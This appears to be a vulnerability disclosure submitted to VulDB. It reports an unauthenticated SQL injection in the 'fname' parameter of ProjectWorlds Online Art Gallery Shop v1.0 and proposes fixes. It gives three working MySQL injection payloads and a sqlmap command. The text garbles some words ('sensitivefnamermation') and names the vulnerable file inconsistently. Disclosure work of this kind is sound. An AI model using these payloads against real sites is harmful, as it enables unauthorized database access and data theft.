| Title | ProjectWorlds Online Art Gallery Shop Project v1.0 SQL injection |
|---|
| Description | # projectworlds.com Online Art Gallery Shop Project V1.0 /admin/registration.php SQL injection
# Project OF AFFECTED PRODUCT(S)
- Online Art Gallery Shop Project
## Vendor Homepage
- projectworlds.com
# AFFECTED AND/OR FIXED VERSION(S)
## submitter
- Hy_Sec
## Vulnerable File
-/admin/adminHome.php
## VERSION(S)
- V1.0
## Software Link
-https://projectworlds.com/free-projects/php-projects/online-art-gallery-shop-project-in-php-advance/
# PROBLEM TYPE
## Vulnerability Type
- SQL injection
## Root Cause
- A SQL injection vulnerability was found in the '/admin/adminHome.php ' file of the 'Online Art Gallery Shop Project'. The reason for this issue is that attackers inject malicious code from the parameter 'fname‘ and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations.
## Impact
- Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.
# DESCRIPTION
- During the security review of "Online Art Gallery Shop Project",I discovered a critical SQL injection vulnerability in the "/admin/adminHome.php " file. This vulnerability stems from insufficient user input validation of the 'fname' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitivefnamermation. Immediate remedial measures are needed to ensure system security and protect data integrity.
# No login or authorization is required to exploit this vulnerability
# Vulnerability details and POC
## Vulnerability lofnameion:
- 'fname' parameter
## Payload:
```makefile
Parameter: fname (POST)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: fname=1' RLIKE (SELECT (CASE WHEN (8850=8850) THEN 1 ELSE 0x28 END)) AND 'tqAa'='tqAa&[email protected]&password=1&submit=
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: fname=1' AND GTID_SUBSET(CONCAT(0x716a767a71,(SELECT (ELT(5569=5569,1))),0x7162707871),5569) AND 'IvlC'='IvlC&[email protected]&password=1&submit=
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: fname=1' AND (SELECT 4541 FROM (SELECT(SLEEP(5)))ujMt) AND 'XYtn'='XYtn&[email protected]&password=1&submit=
```
## The following are screenshots of some specificfnamermation obtained from testing and running with the sqlmap tool:
```bash
sqlmap -u "http://10.20.33.16/admin/adminHome.php" --data="fname=1&uname=22%40qq.com&password=1&submit=" --dbs
```
<img width="1115" height="516" alt="Image" src="https://github.com/user-attachments/assets/71348c4e-aa54-4479-8fad-ab2fb8f278b1" />
# Suggested repair
1. **Use prepared statements and parameter binding:**
Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.
2. **Input validation and filtering:**
Strictly validate and filter user input data to ensure it conforms to the expected format.
3. **Minimize database user permissions:**
Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations.
4. **Regular security audits:**
Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.
|
|---|
| Source | ⚠️ https://github.com/ubfbuz3/cve/issues/55 |
|---|
| User | Hy_Sec (UID 95643) |
|---|
| Submission | 02/20/2026 09:53 (2 months ago) |
|---|
| Moderation | 03/01/2026 07:58 (9 days later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 348301 [projectworlds Online Art Gallery Shop 1.0 Registration /admin/registration.php fname sql injection] |
|---|
| Points | 20 |
|---|